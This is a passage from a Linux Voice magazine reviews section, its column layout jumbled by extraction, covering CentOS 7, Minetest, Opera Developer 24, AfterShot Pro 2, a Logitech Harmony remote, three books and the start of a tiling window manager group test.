  Project                     care that an artist split from a boyband. Or that one
  Licence Mostly GPL          distribution is very similar to another distribution.
                              What about KDE versus Gnome, mods versus rockers,
                              GNU versus open source? On the one hand you have
                              to say whether something works, or whether it’s worth
                              your time and investment, or whether a work has
                              accomplished whatever it set out to do. On the other
                              hand, there is always going to be a hardcore of fans
                              who will love any new output, regardless of any
                              criticism, and they may have a point. A review seldom
                              tells the whole story. CentOS, for example, inherits
                              nearly all of its options, installation, software and        The new graphical installer and command-line utilities make
                              updates from Red Hat Enterprise Linux, but that              CentOS easier to administer.
                              doesn’t mean we shouldn’t take a look. Quite the
                              opposite. We’ve been using it for years and it’s a vitally   secure Linux distributions you could choose, along
                              important distribution. Version 7 might just be the          with assured updates handed down from Red Hat,
                              best yet.                                                    it gave Red Hat a trial of conscience. If Red Hat was
                                 CentOS, then, would be like an old 1960’s cover           to embrace open source in the way it said it wanted
                              band. Tough, reliable, surviving against the odds, and       to, it would have to put its faith in Free Software and
                              still holding on to a renegade attitude that brought         accept its free competitor, even if that meant ignoring
                              initial success. That success came when it flew in           its own worried sales people.
                              the face of Red Hat by building its own packages
You can choose between
Gnome 3 and KDE for your      out of Red Hat’s much flaunted Enterprise Linux; the         The Prefab Four
desktop, making CentOS a      commercial Linux distribution at the heart of Red            For many years, the two co-existed in what seemed
good choice for offices and   Hat’s rampant business model and success. Not only           like passive tolerance. CentOS carved out a significant
parents.                      did this give the wider community one of the most            niche for itself, sitting between the cutting edge of
                                                                                           Fedora and the besuited sobriety of Red Hat
                                                                                           Enterprise Linux. In particular, it’s been able to
                                                                                           capitalise on the insane demand for cheap online
                                                                                           servers, low end boxes and racks of virtualisation,
                                                                                           allowing beleaguered sysadmins to get their hands on
                                                                                           enterprise-level security and updates without the
                                                                                           associated support costs. Red Hat, meanwhile,
                                                                                           continued to make money from its ‘Value Add’ and
                                                                                           many of us thought this would be the way things
                                                                                           would continue.
                                                                                              All this changed in February when Red Hat
                                                                                           announced it was going to hire many of the core
                                                                                           CentOS developers and pay them to continue
                                                                                           developing CentOS, not Red Hat. It marked a
                                                                                           significant change in strategy, and the hugely
                                                                                           anticipated CentOS 7 is the first release since the
                                                                                           merging of the waters. It comes bound to a wide array
                                                                                           of ISO images, from a Live CD with either Gnome or
                                                                                           KDE, through a 362MB network install disk, up to a
                                                                                           monster 6.6GB DVD containing everything. It’s great to
                                                                                           have the option of grabbing an install medium that’s
                                                                                           not going to place too many additional demands on
                                                                                           your network, or CentOS’s servers, so we went for the



46                                                            www.linuxvoice.com
                                                                                                                                     CentOS 7 REVIEWS


  What does Red Hat think?
  We recently had the opportunity to talk to Jan Wildeboer, Red
  Hat’s EMEA evangelist, and he had a few insightful words to
  say about the new working relationship with CentOS, especially
  when faced with the question of whether CentOS lost Red Hat
  any sales.
      “I always said, both internally and externally, that’s the record
  industry argument. With pirated music taking revenue away,
  where else would it come from? But just because somebody
  copies a song 20 times doesn’t mean they would have bought
  20 CDs. And that’s wrong, and I think from my evangelism
  perspective, the customer who uses CentOS over RHEL is a user
  or a customer that we failed to deliver our Value Add message
  to.”
      “There are a few things that make CentOS important. First
  thing is, of course, CentOS has a user community that helps us
  in making our product better. We listen to them. On the other
  hand, CentOS being re-built from our sources is a sign that
  everything is just as it should be at the middle of the company.
  The third thing is that CentOS has never been Red Hat Enterprise
  Linux - there will always be differences here and there - they’re
  not binary compatible.”                                                 Jan Wildeboer is a rather inspirational voice of reason.

full-fat install for our system.                                          course), which is especially helpful if you run CentOS
   For an operating system built for servers,                             within a virtual machine. And we liked the inclusion of
installation is a graphical breeze. This is thanks to the                 Network Manager’s curses interface. But these are all
updated Anaconda installer, and it looks fantastic.                       features you’ll find in RHEL. What we’re really looking
As usual, you can select the quantity of software you                     at is CentOS as a free alternative, and after years of
want, as well as the graphical environment. You can’t                     use in some important installations, we have every
multi-select between Gnome and KDE, for example,                          confidence in the operating system, more so now that
but that’s an easy job post-install, and there’s no sign                  much of its development is guided by Red Hat. That
of Fedora’s commitment to Gnome 3. We’ve only                             means potential
ever used CentOS on a server and without a GUI,                           users can start with
so this shouldn’t affect most installations. You can
also create a user-account and password while the
                                                                          CentOS and move
                                                                          on to Red Hat, which
                                                                                                     “If XFS is good enough for
files are being transferred to your drive, even if the                    was never a clear          NASA’s Supercomputing Division,
placing of the ‘Done’ button in the top left is a little                  path previously, or        it’s good enough for us.”
incongruous.                                                              stay with CentOS
                                                                          with Red Hat’s
Starship Enterprise                                                       blessing. It also gives safe harbour to Fedora fans
The default file system is now XFS. This is significant                   looking for something less entropic.
because it puts scalable data requirements and the                           There is, of course, much we haven’t said. In use,
storage market at the heart of the operating system,                      we’ve found our server easier and more intuitive
ahead of the regular desktop and . But it also marks                      to maintain and the cloud-bias will keep the sales
the tearful end of ext3’s and ext4’s dominance in                         people happy. But what’s important is that CentOS is
favour of more esoteric or tailored file systems. But if                  stronger than ever, and the new release has a desktop
XFS is good enough for NASA’s Advanced                                    bias that may win it new corporate friends whilst
Supercomputing Division, it’s good enough for us. The                     safely corralling Red Hat’s cloud juggernaut into its
scalable aspect creeps into other parts of this release.                  packages. Without the finances to pay for support,
There’s now support for Linux Containers which may                        CentOS is our choice for a long-term supported Linux
bring us even cheaper low-end-boxes and certainly                         operating system. With in-place upgrades (yet to
provides an excuse to mention Docker. These may all                       come) and a ten year lifespan, there’s nothing quite
be the side-effects of Red Hat’s cloud ambitions, but                     like it. Maybe not so much a cover band, then. Maybe
you can’t help to notice CentOS’s own advert for                          more like the Rolling Stones.
Cloud-instance SIG in the installer, suggesting that
there’s more going on that a straightforward rebuild of
                                                                            LINUX VOICE VERDICT
RHEL 7.
                                                                            We love CentOS, and version 7 feels even
  We’re now used to systemd, so its inclusion is no                         better for both features and for its closer
longer a shock. For our own servers, we’re grateful                         ties to Red Hat. Highly recommended for
for the for the new firewall daemon as our own IP                           cheap servers everywhere.
tables hacking leaves a lot to be desired. 3D graphics
drivers are included by default (non-proprietary, of



                                                                            www.linuxvoice.com                                                          47
     REVIEWS MINETEST



Minetest 0.4.10
Mike Saunders spent months trying to escape his Minecraft addiction. He thought
he was out, but some open source hackers pulled him back in…

                             W
                                          ait a second – isn’t this a game? Shouldn’t
  DATA                                    it be in the Gaming on Linux section earlier
  Web
                                          in the magazine? Well, maybe, but Minetest
  www.minetest.net           is so much more than a simple plaything. It’s a world
  Developer                  simulator, a construction engine, a sandboxed
  Perttu Ahola and team      environment to build anything you want. At least, that’s
  Price                      the goal – it’s still undergoing heavy development.
  Free under GNU GPL
                                Minetest is an open source clone of Minecraft, the
                             phenomenally popular block-building game that has
                             sold over 50 million copies around the world.
                             Minecraft addicts spend weeks and months
                             completely absorbed in the game – and when they’re
                             not playing it, they’re watching videos of other people
                             constructing amazing things. It can be played alone,           Given enough time, you can build almost anything (image
                             but it comes to life in collaboration with other users on      courtesy of Krock on the Minetest Forum).
                             the internet. It’s like the best of Elite, Mercenary and
                             virtual reality combined into one game.                          Most players start by gathering wood and creating
                                Although Minetest is available in the package               tools that can be used to mine more robust materials
                                                           repositories of many popular     such as stone and iron. Minetest provides a crafting

“It’s like the best of Elite,                              distros, it’s a shame there
                                                           isn’t a distro-agnostic static
                                                                                            table in your inventory by default, so you don’t have to
                                                                                            create one from scratch as in the original Minecraft.
Mercenary and virtual reality                              binary to download. We           There are various subtle differences like this scattered

combined into one game.”                                   managed to get the latest
                                                           release via an Ubuntu PPA,
                                                                                            around the game, but by and large it’s very familiar to
                                                                                            anyone who has spent time with Notch’s masterpiece.
                                                           however. Fire it up and
                             you’re asked to create a new world; choose a map               A world of your own
                             generator (v6 works best at the moment) then select            Minetest’s worlds are vast and expansive, with
                             “minetest” as the Game type, and you’re ready to go.           different biomes for woodland, mountains, desert and
                                As in regular Minecraft, you’re dropped onto a vast         so forth. Dungeons are not enabled by default, but you
                             landscape with nothing else – no instructions, no              can turn them on via a configuration option. Visually
                             tools, no plotline to follow. Using the WASD keys to           it’s attractive and smooth, performing just as well as
                             walk and the mouse to look around, you can start               Minecraft on our test box, although the sound effects
                             digging and collecting blocks using the left button. To        are rather weak (you’d expect more than silence after
Minetest’s worlds are full   place a block, use the right mouse button. To switch           jumping from a mountain into water, for instance).
of fields, mountains,        between the different things that you’re carrying, use             Another area that’s lacking is non-player characters.
oceans and caves.            the mouse wheel. And that’s it – good luck!                    Minetest’s worlds are empty and lonely, but mods are
                                                                                            available to pep things up with life. In fairness,
                                                                                            Minetest hasn’t even reached version 0.5 yet so
                                                                                            there’s plenty of work to be done – we’re not criticising
                                                                                            it. The reason we wanted to cover it in Linux Voice is
                                                                                            because it has the potential to be very special.
                                                                                                Take the solid game foundations, add the giant
                                                                                            wealth of talent from the Free Software community,
                                                                                            and we could have the best video game – nay, world
                                                                                            simulator – of all time. Then throw in an Occulus Rift
                                                                                            and you may never want to leave your house!

                                                                                              LINUX VOICE VERDICT
                                                                                              Missing some features and rough
                                                                                              around the edges in places, but could
                                                                                              eventually be bigger than Minecraft.




48                                                             www.linuxvoice.com
                                                                                                 OPERA DEVELOPER 24 REVIEWS



Opera Developer 24
Ben Everard can never have too many web browsers, so he installs another.
Those videos of kittens won’t watch themselves, you know.

F
         or almost 20 years, Opera has been a good
         browser, but never quite managed to gain
         much traction on the desktop. Yet we as Linux
users should know that just because a product’s
market share hovers around 1%, it doesn’t mean that
the software isn’t any good. Has this new version got
what it takes to finally push it mainstream?
    The first thing we noticed on starting up Opera was
the interface. It’s obvious that the developers have put
a lot of effort into making this work really well. For
example, if you hover the mouse over a tab, you get a
large preview of the web page in the tab. Opening
menus (and other graphical transitions) fade in and
out rather than abruptly change. This has quite a
pleasing effect, particularly on the full screen
transitions like adding a new option to the speed dial.         The Stash provides an alternative to the ususal bookmarks and speed dial methods of
None of this has any effect on how the browser                  getting to your most frequently accessed web pages.
actually functions, but we still love it.
    Underneath the GUI, this is the first version of Opera      the bookmarks. It wasn’t entirely clear to us what it
for Linux to be based on Google’s Chromium code                 added beyond the other two, but some people might               DATA
rather than WebKit. Since Blink (the Chromium                   find a use for it.
                                                                                                                                Web
rendering engine) has only recently forked from                                                                                 www.opera.com/
WebKit, you shouldn’t expect any drastic changes                Free as in non-free                                             developer
soon. As you can see from the diagram below, Opera              Of course, we haven’t yet mentioned the huge                    Developer
performance is roughly similar to Chrome’s although a           elephant in the room. Opera isn’t free-as-in-speech             Opera Software
                                                                                                                                Licence
little worse in most cases. We don’t think it’s enough          software (it is free as in beer), and probably never will
                                                                                                                                Proprietary
to be noticeable though.                                        be. It’s built on the Blink rendering engine, but since
    The one thing that Opera does differently is in             this is released under BSD and LGPL licensed, Opera
marking items that you want to return to later – or             Software is allowed to use it in a closed product. The
bookmarking. This has been around since the early               only tempting feature of Opera that isn’t easily done in
days of the web and hasn’t changed that much on                 free software is its Turbo mode. This is essentially a
most web browsers. Opera now enables you to save                proxying service that compresses web pages before
items to three places: bookmarks, stash and speed               sending them to you, and can make a huge difference
dial. The speed dial is what opens when you create a            on slower internet connections. Unless you’re
new tab. Bookmarks work in the traditional sense. The           dead-set against closed software, it can be good to
stash is a vertical scrolling list that you can view on a       have Opera installed on a laptop as a backup browser
full page, and is halfway between the speed dial and            in case you get stuck on a slow connection.
                                                                   The Opera add-ons site lists 750 extensions. This
                                                                isn’t as many as more mainstream browsers, but
                     RWBench                                    should include everything most people need.
      Speed-battle                    Octain
                                                                   At the moment, the only Linux distro that Opera
                                                                Software is releasing a version for is Ubuntu, on the
                                                                basis that it wants to focus on a single platform. Of
                                                      Opera
                                                                course, it didn’t take long for there to be an Arch
Browser mark                               V8         Firefox
                                                      Chrome
                                                                package created for it, and unofficial packages for
                                                                other distros may appear if it proves popular.


      Peace-keeper                  Sunspider
                                                                  LINUX VOICE VERDICT
                                                                  Possibly the best-looking browser for
                      Kraken
                                                                  Linux, but it loses a point because of
                                                                  the lack of freedom.

Opera performed well in the full browser benchmarks, and
less well on the tests that focused purely on JavaScript.

                                                                  www.linuxvoice.com                                                                  49
     REVIEWS AFTERSHOT PRO 2



AfterShot Pro 2
A new update turns terrible photographer Graham Morrison
into a passable one. Almost.

                             F
                                     or those into digital photography, there’s been a
  DATA                               revolution in post-processing software over the
  Web
                                     last decade. No longer does the photographer
  www.aftershotpro.com       need to worry about exposure or white balance, or
  Developer                  framing. As long as your DSLR shoots RAW, there’s a
  Corel                      good chance software can take your bleached and
  Price                      badly composed snapshot and turn it into a candidate
  £57.99
                             for Photo of the Year. And for once, Linux hasn’t been
                             left out in the cold. There are several excellent
                             post-processing tools, and one of the best was Bibble,
                             which was subsequently snapped up by Corel at the
                             end of 2011.
                                Bibble became AfterShot under Corel’s auspices,
                             and version 1.0 was released in early 2012. There           Image processing is much faster, but we miss a faster
                             were a few updates, but for a long time all was quiet,      feedback mechanism when adjusting values.
                             so we’re happy to see that the project is continuing
                             with the release of AfterShot 2. We installed it in Arch    you’re importing and managing your collection
                             through its user repository as the only official            through your own series of folders, tags and rankings,
                                                              packages are RPM and       which is the other main reason for an application like

“ All these effects suffer from                               Deb. It would be nice to
                                                              see a pure binary
                                                                                         this. Image processing has been upgraded too, and
                                                                                         AfterShot Pro is the best Linux tool we’ve found for
the lack of decent, quick                                     download, as there are     lightening dark areas of a shot, increasing exposure

feedback in the main view.”                                   very few external
                                                              dependencies. There’s
                                                                                         and noise reduction. All of these processes are
                                                                                         absolutely essential when putting together this
                                                              a trial you can unlock     magazine, for example. Noise reduction in particular
                             with a licence, but before you do, make sure your           has been much improved and is considerably more
                             camera image format is supported - RAW formats are          powerful than the equivalent feature in Lightroom. But
                             specific to a camera’s make and model.                      all these effects suffer from the lack of decent, quick
                                                                                         feedback in the main image view, even if the final
                             Go faster                                                   render is quicker overall. We also miss the ability to
                             The big update for this release is speed, and while we      view the pre and post filtered image side by side, as
                             didn’t do any side-by-side comparisons, image loading       we quickly become desensitised to the changes we’re
The image management         and processing was considerably faster. Importing a         making.
views and the amount of      batch of images, for example, was quicker than both            The GUI in general could do with a bit of a
control you have over your   the old version and Adobe’s Lightroom running on the        makeover. We miss small things like a localised
collection is excellent.     same hardware. This makes a big difference when             thumbnail view for noise reduction (to avoid the cost
                                                                                         of processing the whole image), and the rotation tool
                                                                                         is unintuitive. Most of all, the GUI is tiny on anything
                                                                                         approaching a high-DPI screen and can’t be changed.
                                                                                         This is going to be a problem for photographers, as
                                                                                         high-resolutions screens are becoming increasingly
                                                                                         common and useful for proofing.
                                                                                            When there are few professional alternatives, this
                                                                                         update is a welcome release, and with the promise of
                                                                                         an HDR compositor in late summer, it’s still a near
                                                                                         essential tool for any wayward photographer.

                                                                                           LINUX VOICE VERDICT
                                                                                           Excellent processing tools and a
                                                                                           reasonable price held back mostly by a
                                                                                           tight and inflexible GUI




50                                                           www.linuxvoice.com
                                                                                    HARMONY SMART CONTROL REVIEWS



Harmony Smart Control
Graham Morrison discovers the one controller to rule them all. If only Logitech
would recognise there’s another rather excellent operating system

F
        irst thing; this is a programmable remote
        control with no Linux support. So why is this in
        a Linux magazine? Because it’s the first
Harmony remote from Logitech that doesn’t require
either Windows or OS X. Specifically, you need an
Android device to make it work. This is significant
because the old Harmony series of remotes has been
the best-fit for complex home entertainment systems.
They allowed you to control an amplifier, a games
console, a digital receiver and a television from the
comfort of a single control in a relatively intuitive way.
If you pipe audio into an amplifier, for example, the
volume controls on your remote would send a signal
to this for volume whilst still sending channel
changing signals to your television. Setups like this are    The base unit receives RF and wifi signals and beams out infrared and Bluetooth for Wiis
known as activities, and you could switch between            and Playstations with up to two expanders, so you can lock your kit away out of sight.
different activities with a single button. You might
have an activity for listening to music, for example,        enough for the whole household to use.
controlling just an amplifier and a music streamer, or
                                                                                                                              DATA
an activity for playing a games console - amplifier,         Ultimate Control                                                 Web
games console and television. Logitech’s firmware            This draconian requirement for Windows eventually                http://www.logitech.com/
would take care of input switching and power                 led to the creation of a wonderful open source                   Developer
                                                                                                                              Logitech
management, turning things on and off as you                 solution called Concordance, freeing us of both the
                                                                                                                              Price
changed activities. It sounds complex and                    Microsoft tax and Logitech’s clunky web-alike                    £84.99
configuration could be, but after adding the devices         user-interface. But the latest generation of remotes
and creating the activities, the results were easy           don’t require a USB connection nor the use of a
                                                             desktop application. This is thanks to the Harmony
                                                             Hub, a base station that connects to your wifi network
                                                             and beams out instructions to your equipment. It’s
                                                             meant to be used predominantly with a smartphone
                                                             app that acts like a remote control, but we found it
                                                             clunky and unintuitive. Prodding a screen to pause,
                                                             fast-forward and rewind takes extra mental effort, for
                                                             instance, despite the physical volume keys on your
                                                             device being mapped to volume in your activity.
                                                             Luckily, the slimline remote that’s included with the
                                                             package as a stop-gap is more than adequate, and
                                                             100 times easier to use from the palm of your hand. It
                                                             communicates with the base station using RF, which
                                                             is incredibly liberating. You’re no longer restricted to a
                                                             line-of-sight technology that should have died out with
                                                             the compact cassette. And while there only enough
                                                             buttons to handle six different activities, we think
                                                             there’s just enough - and just enough for other levels
                                                             of control - to make it perfect for the majority of
                                                             installations.

                                                               LINUX VOICE VERDICT
                                                               A cynical 8 device limitation and lack
                                                               of Linux holds back what is otherwise
                                                               a brilliant piece of hardware.

Add, remove, assign and control your hardware from an
Android app or a physical remote

                                                               www.linuxvoice.com                                                                       51
     REVIEWS BOOKS



The Unix Programming Environment
When he came across a classic programmers’ book, Ben Everard had to take a look.


W
              e came across this classic             joining commands together is still perfectly
              computing book in a second             relevant. In fact, there’s almost nothing to
              hand sale and couldn’t resist          show that this section of the book wasn’t
looking at it to see if we could still use it with   written recently.
a modern Linux system.                                  It then goes on to show you how to write
   The Unix Programming Environment isn’t a          code that interacts with the system, and the
book about programming in general; it’s              examples are written to make them easy to
about how to make your programs run well             use in the middle of pipes. This includes
on Unix, and how to use the Unix tools to            using standard in and out, using files, and
make your life easier. It starts with the basics     other system calls. Probably the most
like logging in: “Be sure that the switches are      surprising part of The Unix Programming
set appropriately on your device: upper and          Environment is that the C code that it gives
lower case, full duplex, and other settings          in the examples still works on our modern
that the local experts advise, such as the           Linux machine.
speed or baud rate”.                                    Well, it almost works. We typed in some of
   We’ve been a little unfair with that previous     the examples and found that most needed to
quote – it was specifically picked to make           include more header files than were
the book sound old fashioned. In truth,              necessary in 1984 (this produces the
surprisingly little has changed. The                 message “Warning: incompatible implicit
filesystem is a little different (home               declaration of built-in function”). What’s
directories are no longer in /usr for instance),     more, the design of these programs – taking
and the # character isn’t used as a                  input from stdin and outputting to stdout         This book is a companion to The Unix
backspace any more, but on the whole, the            and stderr – hasn’t changed, at least for         Programmer’s Manual and The C Programming
text is very relevant to a modern Linux              command line tools (the book doesn’t cover        Language.
environment. Sometimes, the methods it               any graphical tools). Again, there are some
recommends are a little antiquated, even             new parts of Linux (/sys and /proc for            However, for someone with a little experience
though they still work. Of course, you can still     example) that aren’t covered, but this isn’t      in Linux and who wants to know more about
edit text files in ed, though we don’t actually      that important for most programs.                 it, this is still a good choice, especially for any
know anyone who does.                                                                                  aspiring programmer. Not everything in it is
   The book goes on to focus on using the            Practicals from the past                          completely relevant, but it covers the basics
shell and the tools that were relevant to            The Unix Programming Environment builds up        extremely well, and as you would expect, the
programmers in the 80s (sed, awk, grep etc).         into a big project at the end, which is writing   examples are insightful, and completely
These are still widely used and work in much         and entire programming language (yes,             based in the Unix way of doing things. There
the same way today. In many cases, the               really) by combining C with programmer’s          is also real geek-fun to be had in trying to
modern GNU versions contain more options             tools such as yacc, lex and make. This was,       spot the things that have changed in the
than the original Unix tools did, but the core       for us, the best part of the book. Kernighan      years since the book was
functionality is the same. This is especially        and Pike are two of the most famous               first published.
true of Bash when compared with the                  programmers of all time, and in this chapter,         The fact that you can still follow a
original shell. There are a few cases, such as       they take the reader step-by-step through         30-year-old programming book is testament
mail and news, where the commands do still           their process of designing and building a         to the stability of the Unix design that Linux
exist, but are rarely installed as usage             non-trivial program. For us, the whole read       has inherited. We got the book as a historic
patterns have made them mostly obsolete.             was worth it for this alone.                      curiosity, but it turned out to be more useful
   Of course, Unix isn’t about using individual         It should come as no surprise that this        that we anticipated.
commands – it’s about linking them                   book isn’t really suitable to a newcomer to
together. This principal lies at the heart of        the world of Linux programming. There’s just
Unix, and so the chapter that focuses on             too much modern stuff that’s missed out.            LINUX VOICE VERDICT
                                                                                                         Author Brian W Kernighan and Rob Pike
                                                                                                         Publisher Prentice Hall
“For someone with a little experience of Linux who                                                       ISBN 0-13-937681-X
                                                                                                         Price £48.99
wants to know more about it, this book is still a                                                        This book was published in 1984 – the same
good choice, especially for an aspiring programmer.”                                                     year Sinclair released the ZX Spectrum – yet
                                                                                                         is still applicable to modern Linux systems.




52                                                               www.linuxvoice.com
                                                                                                                      REVIEWS BOOKS


Makers: A New Industrial Revolution                                                                ALSO RELEASED…
Makers will change the world, but Ben Everard isn’t sure how.



T
         his book isn’t really about makers.
         Not the average folks who go to
         hackspaces and make stuff that
interests them. It’s about individuals and
small teams or entrepreneurs making
customer-oriented products.
                                                                         Despite there being
   The main premise of Makers – that                                     plenty of “maker”
we’re entering a third industrial revolution                             options available, this
driven by the ease of small companies                                                                                                Space goes on
                                                                         book is published by a
producing custom products – seems                                                                                                    forever.
                                                                         large publishing firm.
shockingly naïve. According to this book,                                                          Astrophotography
soon these entrepreneurial makers              and this will certainly spur on some                We’re suckers for anything from space,
will take over the manufacturing world         change. However, this book’s vision of              especially photons as they travel from distant
because small-scale production is              a third industrial revolution is unlikely to        suns. What we’d really like to do is capture
                                                                                                   them. This book looks like it’s going to be
becoming more cost effective.                  come to pass.
                                                                                                   especially useful, starting as it does with a
   They won’t. It’s easier to start a                                                              simple camera on a tripod.
business producing goods than it has             LINUX VOICE VERDICT
ever been, and there will be a growing           Author Chris Anderson
community of crowdfunded small-team              Publisher Random House
products (Linux Voice is one), but this          ISBN 978-1-847-94067-4
                                                 Price £8.99
will always be a small segment of the
                                                 A wildly optimistic book that overhypes the
developed economy.                               role of entrepreneurs in the economy.
   Makers have started to be more
innovative than many large businesses,
                                                                                                                                     For a quick
                                                                                                                                     intro to
                                                                                                                                     JavaScript,

Homeland                                                                                                                             turn to page
                                                                                                                                     102

Andrew Gregory sighs sadly at Orwell’s warnings.                                                   Programming JavaScript Apps
                                                                                                   We like JavaScript. It’s a little like the BASIC of



T
                                                                                                   the web, but it’s also capable of sprawling
        here’s an early moment in                                                                  great complexity, especially when combined
        Homeland, the sequel to Corey                                                              Node.js, HTML 5 and other modern fun stuff.
        Doctorow’s Little Brother, when                                                            Maybe the age of web and desktop application
the protagonist just happens to stumble                                                            unification isn’t that far off?
                                                                         Surveillance, intrusive
across a game of Dungeons and Dragons
                                                                         authorities and an
played by Will Wheaton, Mitch Kapoor and
                                                                         economy hopelessly
the founders of the Electronic Frontier                                  skewed against the
Foundation. This episode pulls you out                                   little people. Thank
of the story and hits you over the head                                  heavens it could
with the knowledge that the book has                                     never happen here!
Something To Say.
   That’s a shame, because it really does      As a story, it’s a decent page turner and a
have something to say. We’re being             step up from Little Brother. Best read in a
monitored at all times, by companies that      crowed place with lots of witnesses…                                                  Ya tvoi sluga,
are under contract to our governments.                                                                                               Ya tvoi
                                                                                                                                     rabotnik
The police are increasingly an agent of          LINUX VOICE VERDICT
these companies rather than protectors           Author Corey Doctorow                             Arduino Robotics
of the public. And we’re carrying mobile         Publisher Titan Books                             If Ben’s awesome Arduino-based Nerf gun
telescreeens with us all the time, doing Big     ISBN 9781781167489                                targeting system (p90) has whet your appetite
                                                 Price £7.99
Brother’s job for him.                                                                             for robots and self-defence, this book should
                                                 Turns a thousand paranoid Reddit and              enable you to take on Skynet single handed by
   As a message, Homeland is powerful,           Slashdot comments into a decent thriller          building your own robot army. It even claims to
and really crystallises the gut mistrust         and a powerful warning.
                                                                                                   include a DIY Segway!
that many of us feel into something that’s
easy to understand on a rational level.



                                                               www.linuxvoice.com                                                                     53
     GROUP TEST TILING WINDOW MANAGERS




TILING WINDOW
    MANAGERS
                GROUP TEST
                 Marco Fioretti tries a way to handle the windows on your
                 screen that will make you forget you ever had a mouse.



 On Test                                                 Tiling window managers
                                                         Reclaim your screen and get more done!
 Bluetile

                                                         W
                  URL http://bluetile.org                             indow Managers (WMs              should be able to focus on getting
                  Version 0.6                                         from now on) are those           things done, rather than
                  Licence BSD                                         essential components             continuously having to rearrange
                  A reduced, preconfigured               of every desktop computer that                windows by hand. To work even
                  version of Xmonad, made for            control, move and decorate the                faster, many operations that
                  people who want to start tiling        windows in which all our programs             traditional WMs attach to icons and
                  as soon as possible.                                                                 menu entries only have keyboard
                                                         run. In a normal WM, you can spend

 Herbstluftwm                                            a significant amount of time just
                                                         moving and resizing windows. The
                                                                                                       shortcuts here. Add to that the
                                                                                                       possibility of not using the mouse
                  URL http://herbstluftwm.org            subjects of this Group Test were              even on many popular programs,
                  Version 0.6.2
                                                         invented to avoid such annoyances.            websites and web services, and you
                  Licence BSD
                  A semi-manual tiler that’s                Tiling WMs deal with the                   can understand why some people
                  much easier to use than its            windows you need as if they were,             prefer this way of working.
                  name would suggest.                    you know, tiles – simple! They                    The very nature of tiling WMs is
                                                         automatically place and size all the          also the reason why this may be the
                                                         windows in order to always cover              Group Test with the ugliest
 i3                                                      all the available screen space, but           screenshots you’ll see for a while,
                  URL http://i3wm.org                    without any overlap. What really              but it’s not our fault. These
                  Version 4.7.2                          makes a WM a tiling one, however,             programs want to fill every available
                  Licence BSD                            is the capability to automatically            pixel with window content, not with
                  A clean window manager with            repeat the whole process, all by              panels, menus, icons and real
                  a few little tools that make it        itself, every time you open or close          window borders. That leaves very,
                  quite powerful.                        a window.                                     very little that remains visible in a
                                                            Tiling WMs are made to ignore              print-size screenshot. It’s not a bug,
                                                         eye candy and save your time: you             it’s a feature!
 Spectrwm
                  URL http://spectrwm.org
                  Version 2.5.0                          “Tiling WMs deal with the windows you
                                                         need as if they were tiles – simple!”
                  Licence ISC
                  Yes, Spectrwm tiles windows in
                  pure UNIX/Linux style even on
                  Windows (and Mac OS).
                                                           THE CRUCIAL CRITERIA
                                                           A window manager shapes our                 should really be the last time you spend
 Xmonad                                                    interaction with the computer much          working on a WM until you decide to
                                                           more than raw processing power, or          change it. That’s why we only
                  URL http://xmonad.org
                                                           pleasant wallpapers. A really good WM       considered WMs actively maintained
                  Version 0.11
                                                           makes you forget it exists, because it      and supported WMs, which will install
                  Licence BSD                              doesn’t slow down your CPU and does         immediately on any distribution.
                  The Emacs of tiling window               what you need without you even                 This time, we deliberately focused on
                  managers. Can do pretty much             realising that you asked for it. The same   providing a general feeling and an
                  everything, if you just find the         should be true for upgrades: it is          overview of the possibilities of
                  right recipe for it.                     unavoidable that you’ll spend some time     something that is hard to define by
                                                           on the initial configuration, but this      comparing lists of features.




54                                                   www.linuxvoice.com
                                                                                TILING WINDOW MANAGERS GROUP TEST


Tiling and window management Installation
How many ways are there to tile windows?
                                                                                               At least the installation should
                                                                                               be a point-and-click business.


                                                                                               M
                                                                                                           ost distros have binary packages of
                                                                                                           these WMs, but if yours doesn’t you
                                                                                                           can build your own. Actual
                                                                                               installation of any of these WMs should not be
                                                                                               a problem at all – unless you happen to use a
                                                                                               very old or niche distribution, that is. In all other
                                                                                               cases, you should easily find a binary package
                                                                                               ready to be installed with a few clicks.
                                                                                                 When this is not the case, it should still be
                                                                                               possible to install at least Xmonad and Bluetile
                                                                                               without really compiling anything. Haskell
                                                                                               programs such as these have their own
                                                                                               distro-independent online repository, called
                                                                                               HackageDB (https://hackage.haskell.org).
                                                                                                 All the packages you can find there,
                                                                                               including those for Bluetile and Xmonad, can
                                                                                               be installed with the so-called Haskell
                                                                                               Platform. All you need is binary packages,
                                                                                               which really should exist for almost any
Two general cases of windows tiling (here shown in Herbstluftwm) that may require special      distribution, for that platform and its installer,
care: multi-window programs like Gimp (bottom) and temporary, pop-up windows.                  called cabal. Once you have them, you will also
                                                                                               be able to get the two Haskell WMs up and



A
           utomatic placement and sizing of         In i3, programs are aligned horizontally   running in ways similar to using yum or
           windows, so they don’t overlap        or vertically, inside several semi-           apt-get from the command line with:
           unless you really want them to, is    independent containers. Only the focused       #> cabal update
the raison d’être of tiling WMs. All our WMs     window in the container is displayed. You      #> cabal install xmonad
provide at least three different tiling          get a list of windows at the top of each
algorithms, as well as ways to add new           container. Spectrwm has a top (or left)
ones and remap all keyboard shortcuts so         resizeable master area, reserved for the
they don’t interfere with those of your          applications that “currently need most
favourite programs.                              attention”. All the other windows go into a
   Some WMs, like Herbsluftwm and i3,            separate stack. You can put any window
leave you more control of windows.               you want in the master area, or in a
Others, like Xmonad and Bluetile, are “auto      floating layer, and change stacking mode
tilers”: they will apply the chosen tiling       on the fly. Spectrwm also acknowledges
scheme automatically, while still allowing       “quirks” – instructions to handle certain
manual or custom placement. Spectrwm             programs in special ways. For example,
is somewhere in the middle. Our                  this configuration command:
competitors can also show one window at          Gimp:gimp FLOAT + ANYWHERE
a time, full screen                              basically means “let the Gimp application
   Multi-window tiling layouts differ in how     do as it pleases”.
they partition the screen and in how they          Herbstluftwm is based on “frames”,
decide where the next windows goes: you          which can be empty or contain many
may have, for example, horizontal or             windows, and be split into sub-frames. By
vertical stacks, actual grids with rows and      default, there are nine full-screen           Binary packages for many tiling Wms are available
columns, or windows being added in spiral        workspaces, which you can name                in the standard repositories of most distros.
sequences (as happens with Xmonad and            however you want.
Bluetile) or in binary tree structures                                                          VERDICT
(herbsluftwm and i3).                              VERDICT                                      Bluetile
                                                                                                Herbstluftwm
   Xmonad makes it easy to have a                  Bluetile                                     i3
                                                   Herbstluftwm                                 Spectrwm
different tiling mode in each workspace.           i3                                           Xmonad
                                                   Spectrwm
To place windows manually in this WM,              Xmonad
press Alt+Left Click and drag them.



                                                                  www.linuxvoice.com                                                            55
     GROUP TEST TILING WINDOW MANAGERS



Customisation                                      User interface
